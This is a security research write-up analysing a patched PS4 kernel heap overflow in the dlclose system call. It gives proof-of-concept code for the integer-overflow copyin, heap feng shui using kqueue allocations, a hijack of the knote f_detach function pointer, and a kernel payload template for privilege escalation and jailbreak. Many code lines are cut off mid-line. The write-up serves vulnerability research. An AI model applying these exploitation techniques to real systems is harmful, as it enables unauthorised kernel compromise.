Analysis of `sys_dynlib_prepare_dlclose` PS4 kernel heap overflow

- CTurt and qwertyoruiop

Introduction

I discovered a PS4 kernel vulnerability in a Sony system call a while ago, which I've recently had time to exploit, with the help of qwertyoruiop. This vulnerability was patched at a similar time to BadIRET, around firmware 2.00, so it won't give access to any later firmwares; but it turned out to be significantly easier to work with than BadIRET, (which I will explain in detail later), so I'd recommend its usage over BadIRET.

As always, I will explain the full details of the vulnerability, and describe all methods of exploiting it which we considered, including the one which we used successfully. However, we're not interested in publishing any fully weaponised exploit source code.

Discovery

Back before I had the BadIRET kernel exploit working, I experimented with syscall fuzzing and found a few interesting crashes, the most promising of which was in system call 597. Since this was one of the few system calls I was able to preempt and read the call stack of, I was able to leak its name as `sys_dynlib_prepare_dlclose`:

```
#0 0xffffffff8243f6dc at mi_switch+0xbc
#1 0xffffffff824740aa at sleepq_timedwait+0x3a
#2 0xffffffff8243f2cb at _sleep+0x24b
#3 0xffffffff825ab6e1 at kmem_malloc+0x1d1
#4 0xffffffff825a40f4 at uma_large_malloc+0x44
#5 0xffffffff8242277b at malloc+0x11b
#6 0xffffffff825e809d at rtld_malloc+0x1d
#7 0xffffffff825e380e at sys_dynlib_prepare_dlclose+0x7e
#8 0xffffffff82616735 at amd64_syscall+0x4c5
#9 0xffffffff825ff357 at Xfast_syscall+0xf7
```

The following usage of this system call will cause a panic:

```
uint64_t count = 0x800000000;
dynlib_prepare_dlclose(1, NULL, &count);
```

The interesting thing about this panic was that it didn't happen immediately; the current thread froze whilst the rest of the system remained stable for about 30 seconds before a kernel panic occurred.

From the call stack, I at least knew that a memory allocation was being performed, and probably with a user supplied length. So I decided to keep quiet about the bug until I had analysed it fully, and knew that it had been patched.

Analysis

After dumping the kernel with the BadIRET exploit, I've been able to audit the system call and analyse the exact nature of the bug.

This system call is part of a dynamic linker which Sony added to the kernel, which appears to be heavily based on FreeBSD's userland `rtld-elf`.

The main design change from userland `rtld-elf` is that each process holds a pointer to its main executable object, within its structure (`td->td_proc->dl_context->first_obj`).

In particular, the PS4 function `prepare_dlclose` is heavily based on FreeBSD's `dlclose` which basically checks whether the requested library has any references (`root->refcount == 1`), to see if the requested library can be unloaded.

Sony's `prepare_dlclose` is a slight extension to this. It essentially iterates over a linked list of all objects loaded by the process, to produce a list of these references, before it performs the check, and then unloading if necessary.

To help with reverse engineering this code, the `dump_obj` and `dump_objlist` functions can be very helpful because they give you the offsets of the most useful members of the `Obj_Entry` structure and the `Objlist` structure.

The bug

At its fundamental core, the system call does the following:

```
struct dynlib_prepare_dlclose_args {
    int handle;
    int *buffer;
    uint64_t *countAddress;
};

int64_t sys_dynlib_prepare_dlclose(struct thread *td, struct dynlib_p
    int64_t count;
    int *allocation;
    struct dl_context *context;
    Obj_Entry *obj;
    int result = 0;

    ...

    context = td->td_proc->dl_context;
    ...
    if(!copyin(uap->countAddress, &count, sizeof(count))) {
        ...
        allocation = rtld_malloc(count * sizeof(int), 0);
```

```
        ...
        if(allocation) {
            copyin(uap->buffer, allocation, sizeof(int) * count);
            ...
            obj = find_obj_by_handle(context, uap->handle);

            ...

            if(!prepare_dlclose(context, obj, allocation, &count)) {
                if(!copyout(allocation, uap->buffer, 4 * count)) {
                    if(copyout(&count, uap->countAddress, sizeof(cour
                }

                else result = EFAULT;
            }
            else result = EINVAL;

            ...

            rtld_free(allocation, size, 0);
        }
    }
    else result = EFAULT;

    return result;
}
```

One problem is that although the result from the first `copyin` is checked, the second `copyin` isn't. This could potentially be used as an info leak, which might have been useful if the PS4 kernel had ASLR, but since not, we had no need to analyse this fully.

However, the main problems pertain from there being no bound checks performed on the user supplied count, resulting in multiple parts of this system call being vulnerable to classic integer overflows.

FreeBSD kernel heap allocation types

There are 2 different ways to get the size of the allocation to overflow, giving us either a zone allocation, or a page based allocation.

The allocation is done by `rtld_malloc`, which is almost a direct wrapper for `malloc`. In the FreeBSD kernel `malloc` implementation, different functions will be used depending on whether size > `KMEM_ZMAX` or not (`0x1000` on FreeBSD, `0x4000` on PS4):

```
if(size <= KMEM_ZMAX) {
    ...
    // Perform a zone allocation
```

```
    va = uma_zalloc(zone, flags);
    ...
}
else {
    ...
    // Physically allocate new pages
    va = uma_large_malloc(size, flags);
    ...
}
```

When small allocations are requested, the zone allocator will search for gaps in pre-allocated zones. When larger allocations are requested, the system will attempt to physically allocate new pages.

The first integer overflow

Since the size is stored as a 64 bit unsigned integer, the most obvious overflow occurs when `0x4000000000000000 + X` is passed in as count. This would calculate a size of `(0x4000000000000000 + X) * 4 = 0x0000000000000000 + X * 4` to be passed to `rtld_malloc`, which overflows to simply `X * 4` bytes.

Depending on the value of `X`, this can be used to trigger either zone allocations or physical allocations.

The second integer overflow

Since `uma_large_malloc` declares the size parameter as `vm_size_t`, which is a 32 bit type, we can get the size to overflow at a later stage of the allocation.

When a count of `0x40000000 + X` is specified, the calculated size will be `(0x40000000 + X) * 4 = 0x100000000 + X * 4` bytes.

This can be stored in a 64 bit integer, so the size won't have overflown by the time the code path performs the size check for a zone allocation or a physical allocation. This means the `uma_large_malloc` will always be used.

When this size is passed down to `uma_large_malloc` it will be truncated to 32 bit, and overflow to simply `X * 4` bytes.

The `uma_zalloc` code path also treats size as a 32 bit type, but since we are interested in getting a size large enough to overflow when truncated, this isn't reachable by us.

Attack vectors for the first overflow

After allocating a buffer with an overflown size, the code then goes on to call `prepare_dlclose` with this buffer and our controlled count *before* it has overflown. The situation now is that only `X * 4` bytes have been allocated for the buffer, but the count passed onto `prepare_dlclose` will be `0x4000000000000000 + X`.

As explained earlier, when the reference count of the library is 1, `prepare_dlclose` will call `objlist_prepare_fini` to fill the buffer with a list of references to the requested library:

```
int64_t
```

```
int64_t prepare_dlclose(struct dl_context *context, Obj_Entry *root,
    ...
    if(root->refcount == 1) {
        objlist_prepare_fini(context, &context->list, root, alloc, co
        ...
    }
    ...
}
```

It is in `objlist_prepare_fini` that the buffer is finally written to, giving us an out of bounds kernel heap write:

```
signed int64_t objlist_prepare_fini(struct dl_context *context, Objli
    ...
    buffer[i] = nextList->obj->handle;
    ...
}
```

The problem with trying to exploit this situation is that the particular code path where the buffer is written to is very specific.

The first condition that must be satisfied is for `root->refcount` to equal 1, so that `prepare_dlclose` will call `objlist_prepare_fini`. This is trivial to bypass: if we manually load a new library it will have both a `refcount` and `dl_refcount` of 1.

But the next condition is more difficult to control:

```
i = 0;
while(1) {
    nextList = list->next;

    while(1) {
        if(!nextList) {
            *count = i;
            return 0;
        }

        obj = nextList->obj;

        if(!root)
            break;

        if(obj->refcount == 1) {
            LODWORD(v11) = sub_FFFFFFFF825E5C30(&root->unk, nextList-
            if(v11)
                break;
```

```
        }

        nextList = nextList->next;
    }
}
```

To prevent the function from returning before the heap write, we need `td->td_proc->dl_context->list->next` to be non-`NULL`. We experimented with several ideas to attempt to populate the list: mainly loading and unloading all libraries in different orders, but didn't have any success.

Attack vectors for the second overflow

Of course, both methods of triggering the allocation size overflow will theoretically give access to the out of bounds write in `objlist_prepare_fini`, but getting the size to overflow the second way also gives us some additional potential attack vectors.

`rtld_free`

When the allocation is freed with `rtld_free` at the end of the system call, the full 64 bit size will be passed.

At first this looks like it could lead to some very juicy use after free behaviour because only `X * 4` bytes will have been allocated, but the system call will try to free `0x100000000 + X * 4` bytes. Unfortunately, although the `rtld_free` function is passed the full size, the code doesn't appear to use the size argument at all, so this isn't a possible attack vector.

`copyin` overflow

The next thing we experimented with, was abusing the `copyin` performed early on by `sys_dynlib_prepare_dlclose`:

```
allocation = rtld_malloc(count * 4, 0);
...
copyin(uap->buffer, allocation, 4 * count);
```

Once again, if we supply a count of `0x40000000 + X`, the size for the allocation will be truncated by `uma_large_malloc`, resulting in an allocation of only `X * 4` bytes.

However, the size parameter for `copyin` is treated as 64 bit, so the full size will be used. This gives us a heap overflow of `copyLength - bufferSize = ((0x40000000 + X) * 4) - (X * 4) = 0x100000000` bytes.

There is a clear problem here: overflowing by 4GB is much more than we can handle! However, there are two potential ways for a copy to be interrupted:

The system call could be preempted whilst overflowing the buffer, and another userland thread could then kill it to stop the overflow from completing its full size (I've demonstrated a similar idea in my third PS4 article, where I preempted kernel threads to read their call stacks from userland). Whilst this would result in a smaller overflow, it still wouldn't be manageable because we wouldn't be able to control exactly when the copy would be preempted.

The other way of interrupting the overflow would be to setup userland memory such that the page after the mapping is unmapped. Once the system has copied all memory we desire, it will then attempt to copy from the unmapped memory following it, resulting in a page fault being triggered, and the system call cancelling, with `EFAULT` returned. This gives us a reliable way of controlling the size of the copy.

Debugging on FreeBSD

It should be clear now that the `copyin` call is the easiest way to exploit the bug since it is possible to control both the size and contents of the overflow. Since I haven't yet been able to get kernel debugging on a retail PS4 (don't feel like soldering to the UART ports), we debugged the exploit on FreeBSD first.

Although I've described the process of debugging the FreeBSD kernel in my previous article, there are some additional things we will need to adjust to debug an exploit for this particular vulnerability.

Since the vulnerability is a heap overflow, we rely heavily on the behaviour of `PAGE_SIZE`, which is 4KB by default on FreeBSD, but 16KB on PS4. To adjust the page size to be 16KB: modify `PAGE_SHIFT` from 12 to 14 in file `sys/amd64/include/param.h` and recompile the kernel.

We'll also need to create a kernel module, with a new system call to replicate the behaviour we need from `sys_dynlib_prepare_dlclose`:

```
int sys_backdoor(struct thread *td, struct backdoor_args *uap) {
    char *x = malloc(uap->a, M_FOOBUF, 0);
    copyin(uap->b, x, uap->a);
    return 0;
}
```

Controlling the overflow size

All that is needed is to prepare the following heap layouts:

```
Userland: [     Mapping    ][Unmapped]
Kernel:   [Buffer][Overflow]
```

When the system call is performed the following will happen:

- Arbitrary contents will be copied into the kernel buffer from the controlled userland mapping,
- The kernel memory after the allocated buffer will be overflowed into, with our controlled userland mapping,
- The `copyin` will attempt to read from unmapped userland memory,
- A page fault will be triggered, and the system call will return `EFAULT`,

Preparing the heap

Userland

To ensure that the end of our buffer is unmapped, we can simply map the size we need plus one additional page, and then unmap the additional page:

```
uint64_t bufferSize = 0x8000;
uint64_t overflowSize = 0x8000;
uint64_t copySize = bufferSize + overflowSize;

// Round up to nearest multiple of PAGE_SIZE
uint64_t mappingSize = (copySize + PAGE_SIZE - 1) & ~(PAGE_SIZE - 1);

uint8_t *mapping = mmap(NULL, mappingSize + PAGE_SIZE, PROT_READ | PR

// Ensure end of mapping is unmapped
munmap(mapping + mappingSize, PAGE_SIZE);

// buffer + copySize points to unmapped memory
uint8_t *buffer = mapping + mappingSize - copySize;
uint8_t *overflow = buffer + bufferSize;

int64_t count = (0x100000000 + bufferSize) / 4;
```

We don't have to use the start the mapping as the start of the buffer; by starting the buffer further along the first page of the mapping, the copy size is reduced to a higher level of precision than by just using the entire mapping, which would limit us to multiples of `PAGE_SIZE`.

We also tried using `mprotect` to make the final page unreadable, instead of unmapping it entirely. This would ensure that the page wouldn't be returned to later, unrelated, `mmap` calls, however this approach didn't work for my tests:

```
uint8_t *mapping = mmap(NULL, mappingSize + PAGE_SIZE, PROT_READ | PR
mprotect(mapping + mappingSize, PAGE_SIZE, PROT_NONE);
```

Kernel

Luckily for us, the kernel heap allocator has predictable behaviour, which we can use to manipulate its layout.

For instance, when trying to allocate `0x100000000` bytes with `rtld_malloc`, since the size will truncate to 0, a special case occurs: the start of the heap (`0xffffff8000400000`) will always be returned. This could be used to target the start of the heap if it contained a viable attack vector.

In reality, we will need to use a more advanced technique, known as Heap Feng Shui. The principle of this is that since the heap is deterministic, we can reliably manipulate its layout with specific sequences of allocations and frees.

We used kernel code execution from the BadIRET exploit to test the behaviour of the heap. We found that the heap can be defragged by performing 100 or so dummy allocations, which will ensure that the next two allocations will be adjacent. Once we have two adjacent allocations, we free the first allocation, such that the next allocation will occupy its memory and be positioned directly before the second allocation:

```
/* Sample output:
Alloc spray
...
Alloc first
ffffff8002450000
Alloc second
ffffff8002458000
Free first
New alloc
ffffff8002450000
*/

kprintf("Alloc spray\n");
int i;
for(i = 0; i < 100; i++) {
    void *m = malloc(0x8000, &M_SUBPROC, M_WAITOK | M_ZERO);
    kprintf("%p\n", m);
}

kprintf("Alloc first\n");
void *m = malloc(0x8000, &M_SUBPROC, M_WAITOK | M_ZERO);
kprintf("%p\n", m);

kprintf("Alloc second\n");
void *m2 = malloc(0x8000, &M_SUBPROC, M_WAITOK | M_ZERO);
kprintf("%p\n", m2);

kprintf("Free first\n");
free(m, &M_SUBPROC);

kprintf("New alloc\n");
void *n = rtld_malloc(0x100000000 + 0x8000, 0);
kprintf("%p\n", n);
```

With this setup, the final allocation will overwrite the `m2` allocation when overflowed.

Controlled overflow PoC

We now know everything about the heap's behaviour that we need to write a controlled overflow PoC:

```
// Prepare heap layout - kernel:
kprintf("Alloc spray\n");
int i;
```

```
int i;
for(i = 0; i < 100; i++) {
    void *m = malloc(0x8000, &M_SUBPROC, M_WAITOK | M_ZERO);
    kprintf("%p\n", m);
}

kprintf("Alloc first\n");
void *m = malloc(0x8000, &M_SUBPROC, M_WAITOK | M_ZERO);
kprintf("%p\n", m);

kprintf("Alloc second\n");
void *m2 = malloc(0x8000, &M_SUBPROC, M_WAITOK | M_ZERO);
kprintf("%p\n", m2);

kprintf("Free first\n");
free(m, &M_SUBPROC);


// Perform oveflow - userland:
uint64_t bufferSize = 0x8000;
uint64_t overflowSize = 0x8000;

uint64_t mappingSize = bufferSize + overflowSize;

int64_t count = (0x100000000 + bufferSize) / 4;

uint8_t *mapping = mmap(NULL, mappingSize + PAGE_SIZE, PROT_READ | PR
munmap(mapping + mappingSize, PAGE_SIZE);

memset(mapping + bufferSize, 'a', overflowSize);

int result = syscall(597, 1, mapping, &count);
printf("Result: %d\n", result);


// Dump second allocation - kernel:
memcpy(dump, m2, 0x8000);

struct sendto_args args = { sock, dump, 0x8000, 0, NULL, 0 };
sendto(td, &args);
```

Sure enough, the two allocations are adjacent, the system call returns `EFAULT`, the second buffer is overwritten with "`aaa...`", and the system remains stable (since we only overwrote into our controlled mapping).

Kernel heap primitives

Now that we've been able to reliably control the overflow within our artificial kernel code tests, we need to find a piece of existing kernel code which we can trigger from userland to replicate the behaviour.

We need something large enough to be allocated using `uma_large_malloc` (not the zone allocator), and ideally we should have some control over its size.

Although there are several pieces of kernel code, easily accessible from userland, which can be used to perform kernel heap allocations, many aren't suitible as primitives for our exploit. For example, `sys_uuidgen` can be used to allocate up to `2048 * 16 = 0x8000` bytes, but the buffer is almost immediately freed so it would have to be race attacked, which wouldn't be practical.

Eventually, we came across an allocation in the kernel event queue handling code, in `kqueue_expand`:

```
size = kq->kq_knlistsize;
while(size <= fd)
    size += KQEXTENT;
list = malloc(size * sizeof(*list), M_KQUEUE, mflag);
```

This allocation is perfect because the size used is derived from the file descriptor number, not the number of files.

Using this, we were able to create heap allocation and free primitives in FreeBSD, with size controlled to any multiples of `0x800` bytes:

```
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/event.h>
#include <sys/socket.h>
#include <sys/mman.h>

// Perform kernel allocation aligned to 0x800 bytes
int kernelAllocation(size_t size) {
    struct kevent kv;
    int queue = kqueue();

    int fd = (size - 0x800) / 8;


    // Assuming dup2 is allowed
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    dup2(sock, fd);
    close(sock);
```

```
    EV_SET(&kv, fd, EVFILT_READ, EV_ADD, 0, 5, NULL);
    kevent(queue, &kv, 1, 0, 0, 0);

    close(fd);

    return queue;
}

void kernelFree(int allocation) {
    close(allocation);
}

int main(void) {
    int allocation = kernelAllocation(0x1000);
    kernelFree(allocation);

    return 0;
}
```

Porting heap primitives to PS4

There are several complications which need to be addressed to port the above FreeBSD heap primitives to PS4.

File descriptor raising on PS4

One of these complications is that we depend on `dup2` to raise the file descriptor number, but since Sony has added a `priv_check` on this system call (and all varients like `dup` and `rdup`), we can't use it.

One solution to this is to simply keep creating files (like sockets or pipes) until we reach the desired file descriptor number:

```
static int sock = 0;

while(sock != fd) {
    sock = socket(AF_INET, SOCK_STREAM, 0);
}
```

However, there is a `sysctl` name, `"kern.maxfiles"`, which limits the amount of descriptors we can create (set to `0x3680` on PS4), meaning that there is also a limit on the size of the allocations we can perform with this primitive.

You can also take advantage of the fact that page allocations will round up to `PAGE_SIZE`, so you can calculate the minimum `size` needed to allocate a given number of pages as follows:

```
size = (pages - 1) * PAGE_SIZE + 0x800;
```

Event queue differences on PS4

Although `struct kevent` is 32 bytes for both systems, some of the offsets of the members are different due to struct padding (`filter` has offset 8 on FreeBSD, but 4 on PS4).

An easy way to deal with these differences is just to use the Sony wrappers in `libkernel`, (like `sceKernelCreateEqueue` and `sceKernelAddReadEvent`), which construct the `kevent` struct for you.

Targets to overflow into

The beautiful thing about the heap control primitive explained above, is that not only is it useful for performing heap layout manipulations, but its allocations are of type `struct klist`, a singly-linked list of `struct knote`, a large structure containing numerous pointers which can facilitate code execution.

In particular, `struct knote` contains a `struct filterops *` called `kn_fop`. If targeting the `kn_fop` member there is actually no need to gain arbitrary kernel write first since `struct filterops` contains easily triggerable function pointers, such as `f_detach`:

```
struct filterops {
    int f_isfd;     /* true if ident == filedescriptor */
    int (*f_attach)(struct knote *kn);
    void    (*f_detach)(struct knote *kn);
    int (*f_event)(struct knote *kn, long hint);
    void    (*f_touch)(struct knote *kn, struct kevent *kev, u_long t
};
```

So all we need to do is overflow `struct klist` to point to a carefully crafted userland `struct knote` who's `kn_fop` member points to a controlled `struct filterops`, which contains the `f_detach` function pointer aimed at our payload.

```
struct knote kn;
struct filterops fo;

struct knote **overflow = (struct knote **)(mapping + bufferSize);

for(i = 0; i < overflowSize / sizeof(struct knote *); i++) {
    overflow[i] = &kn;
}

kn.fn_fop = &fo;

fo.f_detach = payload;
```

To overflow the above structures into the `struct klist`, we just spray the heap, create the hole, and perform the vulnerable system call as we did for the controlled overflow PoC:

```
int allocation[100], m, m2;

// Spray the heap
int i;
for(i = 0; i < 100; i++) {
    allocation[i] = kernelAllocation(bufferSize);
}

// Create hole for the system call's allocation
m = kernelAllocation(bufferSize);
m2 = kernelAllocation(bufferSize);
kernelFree(m);

// Overflow into m2 kqueue
syscall(597, 1, mapping, &count);
```

Triggering

After the buffers have been overflown, closing the queue will go through `kqueue_close` (and then `kqueue_drain` on later versions of FreeBSD), where the `f_detach` function pointer is then triggered, resulting in a jump to our payload. Kernel code execution achieved!

Restoration of kernel state

The BadIRET exploit had a very convoluted execution flow, and required many additional stages after initially gaining kernel code execution before being suitible for general payload development.

For example, with BadIRET we first gained kernel code execution under a very critical double fault context, which we then used to hijack an additional function pointer.

We then had to directly handle return back to userland by restoring the `swapgs` imbalance to ensure we had userland GS base, before then crafting a valid stack frame to return to with the `iret` instruction.

We could then trigger the second payload from userland to gain kernel code execution under a normal context.

Furthermore, the exploit relied on corrupting the IDT which we had to reinitialise before returning from the critical payload.

The `dlclose` exploit doesn't require any of this, which makes it much easier and more direct to work with than BadIRET. After calling `close` we immediately gain kernel code execution under a normal context. Secondly, since this exploit doesn't corrupt any global structures; if we perform it in a separate thread, any corruption will be discarded once the thread finishes and so we don't need to clean up anything manually.

The general template for this exploit is as follows:

```
void payload(struct knote *kn) {
    struct thread *td;
    struct ucred *cred;

    asm volatile("mov %0, %%gs:0" : "=r"(td));

    kprintf("  [+] Entered kernel payload!\n");

    // Privilege escalation
    ...

    // Jailbreak
    ...

    // Sandbox escape
    ...

    // Enable UART output
    ...

    // Disable write protection
    ...

    // Patch kernel functions
    ...

    // Restore write protection
    ...

    // Install kexec system call
    ...

    // etc...
}

void *exploitThread(void *arg) {
    // Map the buffer, spray the heap, etc
    ...

    // Create hole for the system call's allocation
    m = kernelAllocation(bufferSize);
    m2 = kernelAllocation(bufferSize);
    kernelFree(m);

    // Perform the overflow
```

```
    syscall(597, 1, mapping, &count);

    // Execute the payload
    kernelFree(m2);

    return NULL;
}

int _main(void) {
    int sock;
    ScePthread thread;

    // Resolve functions, connect to socket, etc
    ...

    printf("[+] Starting...\n");
    printf("[+] UID = %d\n", getuid());

    // Create exploit thread
    if(scePthreadCreate(&thread, NULL, exploitThread, NULL, "exploitT
        printf("[-] scePthreadCreate\n");
        sceNetSocketClose(sock);
        return 1;
    }

    // Wait for thread to exit
    scePthreadJoin(thread, NULL);

    // At this point we should have root and jailbreak
    if(getuid() != 0) {
        printf("[-] Kernel patch failed!\n");
        sceNetSocketClose(sock);
        return 1;
    }

    printf("[+] Kernel patch success!\n");

    // Dump files, patch memory from other processes, boot Linux, etc
    ...

    sceNetSocketClose(sock);
    return 0;
}
```

Complete source code for the exploit has since been published by kR105.

Conclusion

Kernel code execution gives almost complete control over the system. I've described in my previous article a few things you can experiment with: dumping the kernel, disabling CPU write protection to make patches to kernel code, reading and writing memory of other processes, privilege escalation, breaking out of FreeBSD jail, escaping sandbox and gaining full access to the file system, and I've also hinted at a few other things you can try: dumping and decrypting crash dumps (look into `/dev/da0x6` and `sceSblGetKernelCrashDumpEncKey`), decrypting saves (look into `sceSblSsDecryptSealedKey`), and dumping the registry (look into `sys_regmgr_call`).

However, with the recent release of fail0verflow's PS4 Linux port, kernel exploits are now much more interesting because they will soon be useful for end users, rather than just developers.